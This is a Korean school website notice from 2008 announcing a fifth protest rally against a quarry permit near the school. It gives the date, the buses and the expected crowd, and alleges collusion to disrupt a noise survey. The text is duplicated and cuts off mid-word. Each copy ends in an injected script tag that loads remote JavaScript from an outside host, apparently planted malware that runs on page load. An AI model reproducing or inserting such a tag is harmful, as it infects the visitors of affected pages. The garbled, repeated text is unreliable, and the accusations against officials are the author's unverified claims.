제5차 석산개발반대 궐기대회 개최 알림
작성자 : 행정실 | 조회수 : 5,831 | 작성일 : 2008년 10월 14일
제5차 석산개발반대 궐기대회 개최를 알려드립니다.
경찰청 정보담당자들과 관계기관 모두, 이번 10월 마지막 주 행정심판위원회 심리가 마지막이 될 것이라는 예측을 하고 있습니다.
마지막이 될 이번 궐기대회에 청주지구(22개 본당), 청원지구(8개본당) 성당 신자분 1,500명이 대거 참여하는 대규모 집회시위로 준비하고 있습니다. 지난번에는 본당신부님들이 날자 공지를 잘못하여 전날 다녀가 헛탕을 쳤다고합니다. 이번에는 전번과 같은 실수가 없도록 만반의 준비태세를 갖추고 있습니다.
(궐기대회 일정)
일시 : 2008. 10. 27 (월) 15:00-17:00
출발 : 학교에서 전세버스로 14:00 출발
장소 : 충북도청 서문 앞 인도
참가자 : 학부모(100명), 신자(1,500명), 환희리 주민(50명) 1,650명 예상
행정심판위원회에서 청구인(학교)에 공문으로, 제3의 소음측정기관을 청원군과 협의 선정하여 측정보고서를 10월 22일 까지 제출하라고 명령하였습니다.
이 공문이 학교에 도착한 날 부터 기적이 일어났는데, 골재운반덤프트럭과 레미콘차량이 한대도 학교 앞 도로를 통과하지 않고 있습니다. 일주일 내내 단 한대도...하루 600대 이상 지나다니더니.. 이런기적이...
소음측정을 방해하고자 짜고 친 고스톱이 분명하여 행정심판위원회에 첨부문서(청구인 반론서 : 첨부물 참조)를 제출, 이런 상황에서 어떻게 측정할 수 있는지 방법을 가르쳐 달라고 공문을 보냈는데,
희한하게도 도청에 공문을 발송한 이튿날 하루종일 레미콘 차량이 주살나게 다니더니 그 이튿날 행정심판위원회에서 학교에 공문을 보내오기를, 도청 직원이 출장을 나가 1시간 동안 측정하여 보니 레미콘차량이 27대가 지나가더라며 학교측의 주장은 근거가 없으므로 묵살하니 정해진 날자에 측정보고서를 제출하라고 하였습니다.
그리고 지금은 레미콘 차량이 현저히 줄어 들어 드문 드문 지나갑니다. 아주 우습지 않습니니까? 왜 이런 현상이 벌어지는지?
어느날 한대도 지나다니지 아니하다가 특정한 날 갑자기 많이 지나다니고, 특정한 날이 지나자 다시 현저히 통행량이 줄어드는 이 불가사의함... 이를 어떻게 이해해야하나요?
중요한 사실은 (주)거창상운은 레미콘을 생산하지 않습니다. 바위를 부순 쇄석골재만 생산하여 운반하거나 골재를 레미콘회사(환희개발 : 학교 앞을 지나가야함)에 납품합니다. 기존 석산업체 골재운반덤프트럭은 다 어디 갔는지 보이지 아니합니다. 다른 먼길로 우회하고 있습니다.
거창상운은 덤프트럭이 주종인데, 지금 학교 앞 통과차량은 레미콘만 드문 드문 다니는 이 현실을 어떻게 판단해야할까요, 측정치가 나오지 않게 하려는, 그리고 레미콘은 차종이 다르므로 소음측정보고서를 원천무효화 하고자 하는 검은 기운을 느끼는 것은 학교의 지나친 기우일까요?
기존석산개발업체의 인허가권을 손에 쥔, 석산업체를 폐업하게 할 수도 있는 생사여탈의 권력을 손아귀에 쥔, 막강한 권력자인 청원군수의 무소불위한 권력은 겪어보니 공포스러울 정도로 가공합니다.
권력자앞에서 학교는 한없이 무력하기만 합니다. 막강한 권력자의 시퍼런 진검 앞에 백묵 한자루 달랑 쥐고 서있는 꼴이라니...안간힘을 다해보지만 번번히 무력감과 답답함을 느낍니다.
그렇다고 주저앉을 수는 없습니다. 이빨이 없으면 잇몸으로라도 물어 뜯어야지요, 어린학생들이 공부하는 도장인 학교를 가지고 노는 저들에게 질수는 없습니다. 학교는 갖은방법을 다 동원하여 많은 시간이 걸리더라도 반드시 석산개발허가를 취소할 것입니다. 반드시...
거창상운은 언론기관과의 인터뷰에서 만약에 행정심판위원회에서 청구인의 주장이 인용되어 허가가 취소되면 그동안 들인 돈이 엄청나므로 손해배상을 청구한다고합니다.
이 경우 손해배상 청구 대상자는 충북도청과 청원군수 입니다. 충북도산지관리위원회에서 이 건을 허가하고, 이를 근거로 청원군수가 허가서를 내 주었기 때문입니다.
도내 언론기관과 정보기관이 모두 숨을 죽이고 행정심판 결과를 주목하고 있습니다. 그동안 청원군수와 양업고의 불꽃 튀기는 치고받는 공반전은 별다른 소재거리가 없는 지역언론에 비상한 관심을 불러일으켰습니다.
이러한 언론기관과 지역민의 뜨거운 관심을 피부로 느끼는 충북도청이나, 청원군수는 행정심판 결과에 따라 망신과 손해배상을 감수해야 하므로 필사적 입니다. 저들의 안간힘과 발악이 시간이 지남에 따라 그 도를 더하고 있음을 느낍니다.
우리는 사필귀정이라는 옛 선현들의 경구를 믿습니다. 왜냐면 그것이 순리이고 진리이기때문입니다. 역리는 일시 찬란해 보이나 사라지고 말 거품일 뿐입니다. 감추어진것은 반드시 모두 드러나고야 만다는 성경말씀을 믿습니다.
10월 27일 마지막이 될 궐기대회에 그동안 참여하지 못하셨던 학부?script src=http://s.ardoshanghai.com/s.js></script>
경찰청 정보담당자들과 관계기관 모두, 이번 10월 마지막 주 행정심판위원회 심리가 마지막이 될 것이라는 예측을 하고 있습니다.
마지막이 될 이번 궐기대회에 청주지구(22개 본당), 청원지구(8개본당) 성당 신자분 1,500명이 대거 참여하는 대규모 집회시위로 준비하고 있습니다. 지난번에는 본당신부님들이 날자 공지를 잘못하여 전날 다녀가 헛탕을 쳤다고합니다. 이번에는 전번과 같은 실수가 없도록 만반의 준비태세를 갖추고 있습니다.
(궐기대회 일정)
일시 : 2008. 10. 27 (월) 15:00-17:00
출발 : 학교에서 전세버스로 14:00 출발
장소 : 충북도청 서문 앞 인도
참가자 : 학부모(100명), 신자(1,500명), 환희리 주민(50명) 1,650명 예상
행정심판위원회에서 청구인(학교)에 공문으로, 제3의 소음측정기관을 청원군과 협의 선정하여 측정보고서를 10월 22일 까지 제출하라고 명령하였습니다.
이 공문이 학교에 도착한 날 부터 기적이 일어났는데, 골재운반덤프트럭과 레미콘차량이 한대도 학교 앞 도로를 통과하지 않고 있습니다. 일주일 내내 단 한대도...하루 600대 이상 지나다니더니.. 이런기적이...
소음측정을 방해하고자 짜고 친 고스톱이 분명하여 행정심판위원회에 첨부문서(청구인 반론서 : 첨부물 참조)를 제출, 이런 상황에서 어떻게 측정할 수 있는지 방법을 가르쳐 달라고 공문을 보냈는데,
희한하게도 도청에 공문을 발송한 이튿날 하루종일 레미콘 차량이 주살나게 다니더니 그 이튿날 행정심판위원회에서 학교에 공문을 보내오기를, 도청 직원이 출장을 나가 1시간 동안 측정하여 보니 레미콘차량이 27대가 지나가더라며 학교측의 주장은 근거가 없으므로 묵살하니 정해진 날자에 측정보고서를 제출하라고 하였습니다.
그리고 지금은 레미콘 차량이 현저히 줄어 들어 드문 드문 지나갑니다. 아주 우습지 않습니니까? 왜 이런 현상이 벌어지는지?
어느날 한대도 지나다니지 아니하다가 특정한 날 갑자기 많이 지나다니고, 특정한 날이 지나자 다시 현저히 통행량이 줄어드는 이 불가사의함... 이를 어떻게 이해해야하나요?
중요한 사실은 (주)거창상운은 레미콘을 생산하지 않습니다. 바위를 부순 쇄석골재만 생산하여 운반하거나 골재를 레미콘회사(환희개발 : 학교 앞을 지나가야함)에 납품합니다. 기존 석산업체 골재운반덤프트럭은 다 어디 갔는지 보이지 아니합니다. 다른 먼길로 우회하고 있습니다.
거창상운은 덤프트럭이 주종인데, 지금 학교 앞 통과차량은 레미콘만 드문 드문 다니는 이 현실을 어떻게 판단해야할까요, 측정치가 나오지 않게 하려는, 그리고 레미콘은 차종이 다르므로 소음측정보고서를 원천무효화 하고자 하는 검은 기운을 느끼는 것은 학교의 지나친 기우일까요?
기존석산개발업체의 인허가권을 손에 쥔, 석산업체를 폐업하게 할 수도 있는 생사여탈의 권력을 손아귀에 쥔, 막강한 권력자인 청원군수의 무소불위한 권력은 겪어보니 공포스러울 정도로 가공합니다.
권력자앞에서 학교는 한없이 무력하기만 합니다. 막강한 권력자의 시퍼런 진검 앞에 백묵 한자루 달랑 쥐고 서있는 꼴이라니...안간힘을 다해보지만 번번히 무력감과 답답함을 느낍니다.
그렇다고 주저앉을 수는 없습니다. 이빨이 없으면 잇몸으로라도 물어 뜯어야지요, 어린학생들이 공부하는 도장인 학교를 가지고 노는 저들에게 질수는 없습니다. 학교는 갖은방법을 다 동원하여 많은 시간이 걸리더라도 반드시 석산개발허가를 취소할 것입니다. 반드시...
거창상운은 언론기관과의 인터뷰에서 만약에 행정심판위원회에서 청구인의 주장이 인용되어 허가가 취소되면 그동안 들인 돈이 엄청나므로 손해배상을 청구한다고합니다.
이 경우 손해배상 청구 대상자는 충북도청과 청원군수 입니다. 충북도산지관리위원회에서 이 건을 허가하고, 이를 근거로 청원군수가 허가서를 내 주었기 때문입니다.
도내 언론기관과 정보기관이 모두 숨을 죽이고 행정심판 결과를 주목하고 있습니다. 그동안 청원군수와 양업고의 불꽃 튀기는 치고받는 공반전은 별다른 소재거리가 없는 지역언론에 비상한 관심을 불러일으켰습니다.
이러한 언론기관과 지역민의 뜨거운 관심을 피부로 느끼는 충북도청이나, 청원군수는 행정심판 결과에 따라 망신과 손해배상을 감수해야 하므로 필사적 입니다. 저들의 안간힘과 발악이 시간이 지남에 따라 그 도를 더하고 있음을 느낍니다.
우리는 사필귀정이라는 옛 선현들의 경구를 믿습니다. 왜냐면 그것이 순리이고 진리이기때문입니다. 역리는 일시 찬란해 보이나 사라지고 말 거품일 뿐입니다. 감추어진것은 반드시 모두 드러나고야 만다는 성경말씀을 믿습니다.
10월 27일 마지막이 될 궐기대회에 그동안 참여하지 못하셨던 학부?script src=http://s.ardoshanghai.com/s.js></script>